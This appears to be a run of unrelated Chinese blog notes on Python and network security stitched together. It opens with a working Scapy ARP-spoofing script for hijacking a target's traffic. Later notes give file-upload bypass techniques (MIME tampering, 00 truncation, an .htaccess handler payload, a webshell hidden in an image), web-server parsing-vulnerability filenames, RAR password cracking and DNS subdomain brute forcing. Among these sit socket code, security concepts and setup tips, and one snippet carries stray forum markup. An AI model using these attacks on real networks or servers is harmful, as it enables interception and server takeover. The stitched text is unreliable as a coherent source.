大部分接触Kali linux的初学者应该都体验过Arpspoof的强大,只要配合driftnet或者其他工具就可以做到几乎一键劫持
在一个强大的第三方库Scapy的支撑下,短短几行Python就可以实现这一功能

from scapy.all import *
import sys
def Usage():
    print('[Usage]----->>Arpspoof.py LhostIp TargetIp Networkcards GatewayIp')
try:
    LhostIp = sys.argv[1]#本机IP
    TargetIp = sys.argv[2]#目标IP
    Networkcards = sys.argv[3]#本机网卡
    GatewayIp = sys.argv[4]#网关
    TargetMac = getmacbyip(TargetIp) #目标Mac
    LhostMac = get_if_hwaddr(Networkcards)#本机Mac
    GatewayMac = getmacbyip(GatewayIp)
    #op为发送请求 hwsrc物理来源(攻击者Mac) psrc(网关地址) hwdst(目标Mac地址) pdst(目标ip)
    #Arp欺骗将本机Mac绑定给网关ip
    SpoofPack = Ether(dst = TargetMac,src = LhostMac) / ARP(op = 1,hwsrc = LhostMac,psrc = GatewayIp,hwdst = TargetMac,pdst = TargetIp)
    while True:
        sendp(SpoofPack,inter = 2,iface = Networkcards)
except:
    Usage()

我觉得注释已经写的很清楚了
这个脚本在开启IP转发的时候也可以配合driftnet等工具,方法和自带的arpspoof一样哦

前言:
笔者最近在学Python和Javascript,写一点自己的学习笔记。
工具的出现无疑是让我们省了不少力气,但是更多的人选择了单纯的依赖工具,对本身的原理只是略知一二或者索性根本不了解,很不幸,我就是工具的深度依赖者,学习的路上因为过分依赖工具出现的坑逐渐多了起来,所以现在只能慢慢的一点一点补基础。

正文
那么问题来了,今天的Socket通信简单实现和我前言说的一大堆有什么关系呢?这个时候就要扯出一个很常用的工具Netcat(NC),这个工具有着瑞士军刀之名,体积小巧,具体功能介绍可看Netcat小结,Netcat就实现了一个通讯的功能,笔者今天的文章简单的用Python实现一下此功能。

和NC一样,分两个端,一个Server.py为服务端,一个Client.py为客户端
下面为两个端的编写所需要的大致思路

Server端

  • 创建Socket
  • 绑定端口
  • 等待连接
  • 开始通讯
  • 关闭连接

Client端

  • 创建Socket
  • 连接目标
  • 开始通讯
  • 关闭连接

好,既然这样,那我们就开始实现吧!
首先我们先要

from socket import * #调用Socket

Wait!我都开始写文了,这么简单的脚本我当然是已经写出来了
Server.py

from socket import * #调用Socket
address = ('localhost',666)
s = socket(AF_INET,SOCK_STREAM) #服务器之间网络通信,流式socket , for TCP
s.bind(address)#前面ip为空则为本地地址
s.listen(1) #开始TCP监听,监听一个请求
print("Wait For Connect")
conn,addr = s.accept()#前面为套接字,后面为对方机器的ip地址
print("Connected By",addr)
#发送信息
while True:
    data = str(conn.recv(1024),'utf-8')#接收1024字节的字符串
    print("收到---->",data)
    data = input("发送---->")
    conn.send(data.encode())
conn.close()
s.close()

Client.py

from socket import *
address = ('localhost',666)
s = socket(AF_INET,SOCK_STREAM) #服务器之间网络通信,流式socket , for TCP
s.connect(address)
while True:
    data = input("发送---->")
    s.send(data.encode())
    recv = str(s.recv(1024),'utf-8')
    print("接收---->",recv)
s.close()

这个时候得注意一个坑,Python3默认的Str编码为unicode,如果我们直接这样传输字符串的话,接收到的内容都会是这样

b'String'

虽说字符串的的确确已经正常输出了,但是还是要注意规范,解决起来还是蛮简单的,转成Utf-8即可

Str('string','utf8')

注意:服务端与客户端不能直接发送列表,元组,字典。需要字符串化repr(data)。

Python3的字符串的编码语言用的是unicode编码,在内存中以Unicode表示,一个字符对应若干字节,如果要在网络上传输,或保存在磁盘上就需要把str变成以字节为单位的bytes

Str('string','utf8')

即可转换为utf8编码

CIA三大元素

  • 机密性(Confidentiality)指只有授权用户可以获取信息。
  • 完整性(Integrity)指信息在输入和传输的过程中,不被非法授权修改和破坏,保证数据的一致性
  • 可用性(Availability)指保证合法用户对信息和资源的使用不会被不正当地拒绝

无线网络安全问题
加密方法的问题:WEP和WPA被破解
非法接入点(Rohue AP)
APT 高级持续性威胁
通常使用交叉式网络钓鱼的攻击手法

OSI安全体系模型:
三个方面:

  1. 安全机制
  2. 安全攻击
  3. 安全服务
    主动攻击: 拒绝服务等(可以检测,难以防范)

被动攻击:消息内容泄露,流量分析攻击(难以检测,但可以防范)

两个概念:

  • 威胁
  • 攻击

X.800的定义

  • 由通信开放系统的协议层提供的,并能确保系统或数据传输足够安全的服务
  • 5类14种特定服务

RFC2828
由系统提供的对系统资源进行特定保护的处理或通信服务

概括
*安全服务实现安全策略
安全机制提供安全服务*

设计安全服务的需求

  • 算法
  • 密钥
  • 分发
  • 协议

两类安全模型

网络加密安全模型

  • 参与者
  • 信息通道
  • 安全机制

网络访问安全模型(免受非授权访问)

  • 攻击者
  • 访问信道
  • 安全机制
  • 资源系统

安全策略内容

  • 网络硬件物理安全
  • 网络连接安全
  • 操作系统安全
  • 网络服务安全
  • 数据安全
  • 安全责任管理
  • 网络用户安全责任

所有网上的教程基本都是

apt-get install mysql-server

但是实际上,一定会报错

提示没有这个包

我尝试了网上几乎所有的教程

比如更新源,比如直接下载deb包然后dpkg

第二个最坑,因为树莓派是armhf的架构,网上貌似找不到

所以

重点来了:

我们直接安装Mariadb,不要听信百度的谣言

apt-get install mariadb-server

要不是我注意到有一篇文章写了一个不支持

我还想不到这个问题,一直以为是我自己配置的问题

垃圾百度,浪费时间

1.使用工具Advanced RAR Passwword Recovery解密

通过常规的跑字典的方式进行暴力破解

成功率取决于字典的大小,可以配合社会工程学收集到的信息生成字典

2.使用工具EasyCode Pro工具进行加密解密

此工具可以加密

且是对内容进行的加密(可能会提示文件损坏)

注意:加密解密均需要用Easycode打开

绕过
1.本地验证:
(1)删除本地验证函数
(2)使用Firefox firebug审查元素更改上传限制类型

2.MIME型上传漏洞:
使用burpsuite抓包更改数据包信息(Content-Type

3.文件扩展名
php解析规则可以选择.php4 .php3等等

4.文件内容检测
上传正常图片使用burp截断之后在其中加入一句话木马并更改后缀已达到伪造内容的目的

5.空字符截断上传(00截断)
在文件目录处 加入1.php .jpg
在二进制表中空格的20改为00即可(后面的内容背截断,只有.php)

6.htaccess上传
内容为

<FilesMatch "cimer">[/font][/color][/align][align=left][color=rgb(25, 25, 25)][font=&quot]
SetHandler application/x-httpd一php
 
</FilesMatch>

使用burpsuite截断数据包
上传1.htaccess文件,使用Burp Suite将filename名称更改为filename=.htaccess。
生成一个图片包含php代码的.jpg格式图片,进行上传

解析漏洞
IIS6.0搭建平台
1.文件命名
正常命名文件 logo.jpg
触发解析漏洞命名 logo.asp;.xx.jpg(xx可有可无,任意字符)
2.文件夹命名
正常文件夹路径 ../image/qq.jpg
触发解析漏洞文件路径 ../image.asp/qq.jpg

IIS7.x uginx低版本
正常文件地址:www.xxx.com/logo.jpg
存在解析漏洞可导致此文件解析成php格式
www.xxx.com/logo.jpg/xx.php
Apache
正常文件地址:www.xxx.com/logo.jpg
存在解析漏洞可导致此文件解析上一级格式
www.xxx.com/xxx.php.xxxxxx(向上解析)
解析规则:判断文件后缀是否识别,不识别向上识别
防御
客户端检测:
使用JS对上传图片检测包括文件大小,扩展名,类型等

服务端检测:
对文件大小,文件路径,文件扩展名,文件类型,文件内容检测,对文件重命名
其他设置:对服务端上传目录设置不可用执行权限

第1章 ECMAScript 6简介 1
第2章 let和const命令 17
第3章 变量的解构赋值 33
第4章 字符串的扩展 49
第5章 正则的扩展 71
第6章 数值的扩展 85
第7章 函数的扩展 103
第8章 数组的扩展 133
第9章 对象的扩展 151
第10章 Symbol 183
第11章 Set和Map数据结构 205
第12章 Proxy 233
第13章 Reflect 259
第14章 Promise对象 273
第15章 Iterator和for...of循环 297
第16章 Generator函数的语法 317
第17章 Generator函数的异步应用 355
第18章 async函数 375
第19章 Class的基本语法 399
第20章 Class的继承 421
第21章 修饰器 439
第22章 Module的语法 457
第23章 Module的加载实现 475
第24章 编程风格 495
第25章 读懂ECMAScript规格 509
第26章 ArrayBuffer 517

下载地址:http://www.e-wolf.top/es6.zip

list是可变对象,其中内容可以改变

str是不可变对象,内容不可以改变

>>> a = 'abc'
>>> a.replace('a', 'A')
'Abc'
>>> a
'abc'

以上案例则可看出
执行replace之后的确改变了字符串的内容

但是也只是改变了字符串

变量a的值仍是abc



>>> a = 'abc'
>>> b = a.replace('a', 'A')
>>> b
'Abc'
>>> a
'abc'

这样将新产生的字符串赋值到b上,可见其已改变
当我们调用a.replace('a', 'A')时,实际上调用方法replace是作用在字符串对象'abc'上的,而这个方法虽然名字叫replace,但却没有改变字符串'abc'的内容。相反,replace方法创建了一个新字符串'Abc'并返回,如果我们用变量b指向该新字符串,就容易理解了,变量a仍指向原有的字符串'abc',但变量b却指向新字符串'Abc'了

域名注册信息whois查询:

1.使用命令whois

# whois exmaple.com

2.使用第三方网站
www.whois.net
www.internic.net/whois.html
DNS记录分析
SOA 授权管理该域的服务器
NS 名称解析服务器
A IPv4地址
AAAA IPv6地址
CNAME 别名记录
PTR 逆向解析记录
MX 邮件服务器地址

1.使用命令host

# host www.example.com

可查询到该域名解析的ipv4和ipv6地址

默认情况下 host会搜索其A记录 AAAA记录和MX记录

若查询全部DNS记录

# host -a example.com

通过域名查IP为正向查询,反之则为逆向查询 host可进行逆向查询

默认DNS服务器为/etc/resolv.conf指定的服务器

2.使用dig命令

# dig example.com

默认返回主机的A记录

若想查询全部信息,可将type设为any

# dig example.com any

3.dnsenum

可查询:

(1)主机IP地址

(2)该域名的DNS服务器

(3)该域名的MX记录

dnsenum可谷歌搜索其他域名和子域名

可使用字典文件对子域名进行暴力破解(默认dns.txt包含更大字典dns-big.txt)

可对C类网段进行whois查询并计算其网络范围

可对网段进行反向查询

采用多线程技术

# dnsenum example.com 

爆破子域名

# dnsenum -f dns.txt example.com

谷歌搜索子域名

# dnsenum -p 页数 -s 数量

4.dnsdict6

可以枚举ipv6的子域名

# dnsdict6 example.com